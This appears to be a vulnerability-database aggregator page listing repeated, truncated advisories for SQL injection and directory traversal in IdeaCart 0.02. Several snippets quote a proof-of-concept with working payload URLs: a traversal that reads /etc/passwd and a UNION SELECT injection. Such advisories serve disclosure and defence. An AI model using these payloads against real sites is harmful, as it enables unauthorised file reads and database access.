EUVD-2009-5044

Malware in sbrugna...

EUVD-2009-5043

Malware in sbrugna...

ideacart 0.02 (lfi/sql) Multiple Vulnerabilities

No description provided by source. IdeaCart 0.02 LFI/SQL Multiple Remote Vulnerabilities Author: nuclear LFI: http://127.0.0.1/index.php?page=../../../../../../../../../etc/passwd%00 SQL: http://127.0.0.1/secure/index.php?cID=1%20union%20select%201,2,3,4,5,6,@@version,8%23 notes: get ur sql resul...

CVE-2009-5088

SQL injection vulnerability in secure/index.php in IdeaCart 0.02 allows remote attackers to execute arbitrary SQL commands via the cID parameter...

CVE-2009-5089

Directory traversal vulnerability in index.php in IdeaCart 0.02 and 0.02a allows remote attackers to read arbitrary files via a .. dot dot in the page parameter...

CVE-2009-5089

Directory traversal vulnerability in index.php in IdeaCart 0.02 and 0.02a allows remote attackers to read arbitrary files via a .. dot dot in the page parameter...

CVE-2009-5088

SQL injection vulnerability in secure/index.php in IdeaCart 0.02 allows remote attackers to execute arbitrary SQL commands via the cID parameter...

Directory traversal

Directory traversal vulnerability in index.php in IdeaCart 0.02 and 0.02a allows remote attackers to read arbitrary files via a .. dot dot in the page parameter...

Sql injection

SQL injection vulnerability in secure/index.php in IdeaCart 0.02 allows remote attackers to execute arbitrary SQL commands via the cID parameter...

CVE-2009-5088

SQL injection vulnerability in secure/index.php in IdeaCart 0.02 allows remote attackers to execute arbitrary SQL commands via the cID parameter...

CVE-2009-5089

Directory traversal vulnerability in index.php in IdeaCart 0.02 and 0.02a allows remote attackers to read arbitrary files via a .. dot dot in the page parameter...

CVE-2009-5088

CVE-2009-5088 describes an SQL injection in IdeaCart 0.02, specifically in secure/index.php where the cID parameter allows remote attackers to execute arbitrary SQL commands. The vulnerability arises from improper input handling in that script, enabling data disclosure or modification depending o...

CVE-2009-5089

The CVE-2009-5089 entry concerns IdeaCart 0.02 and 0.02a, with a directory traversal flaw in index.php. The vulnerability arises from insufficient sanitization of the page parameter, allowing remote attackers to read arbitrary files via a .. (dot dot) path traversal sequence. Impact is partial co...

PT-2011-1338

Name of the Vulnerable Software and Affected Versions IdeaCart versions 0.02 through 0.02a Description The issue allows remote attackers to read arbitrary files via a .. dot dot in the page parameter of the index.php file. Recommendations For IdeaCart versions 0.02 through 0.02a, consider...

PT-2011-1337

Name of the Vulnerable Software and Affected Versions IdeaCart version 0.02 Description The issue allows remote attackers to execute arbitrary SQL commands. This is achieved via the cID parameter in the "secure/index.php" endpoint. Recommendations For IdeaCart version 0.02, consider restricting...

CVE-2009-5089: Improper Limitation of a Pathname to a Restricted Directory

Directory traversal vulnerability in index.php in IdeaCart 0.02 and 0.02a allows remote attackers to read arbitrary files via a .. dot dot in the page parameter...

CVE-2009-5088: Improper Neutralization of Special Elements used in an SQL Command

SQL injection vulnerability in secure/index.php in IdeaCart 0.02 allows remote attackers to execute arbitrary SQL commands via the cID parameter...

IdeaCart 0.02 (LFI/SQL) Multiple Remote Vulnerabilities

No description provided by source. IdeaCart 0.02 LFI/SQL Multiple Remote Vulnerabilities Author: nuclear LFI: http://127.0.0.1/index.php?page=../../../../../../../../../etc/passwd%00 SQL: http://127.0.0.1/secure/index.php?cID=1%20union%20select%201,2,3,4,5,6,@@version,8%23 notes: get ur sql resul...

ideacart 0.02 - Local File Inclusion / SQL Injection

IdeaCart 0.02 LFI/SQL Multiple Remote Vulnerabilities Author: nuclear LFI: http://127.0.0.1/index.php?page=../../../../../../../../../etc/passwd%00 SQL: http://127.0.0.1/secure/index.php?cID=1%20union%20select%201,2,3,4,5,6,@@version,8%23 notes: get ur sql result at: YOUR ORDER DETAILS 5.0.67 @ b...

IdeaCart 0.02 LFI / SQL Injection

IdeaCart 0.02 LFI/SQL Multiple Remote Vulnerabilities Author: nuclear LFI: http://127.0.0.1/index.php?page=../../../../../../../../../etc/passwd%00 SQL: http://127.0.0.1/secure/index.php?cID=1%20union%20select%201,2,3,4,5,6,@@version,8%23 notes: get ur sql result at: YOUR ORDER DETAILS 5.0.67 @ b...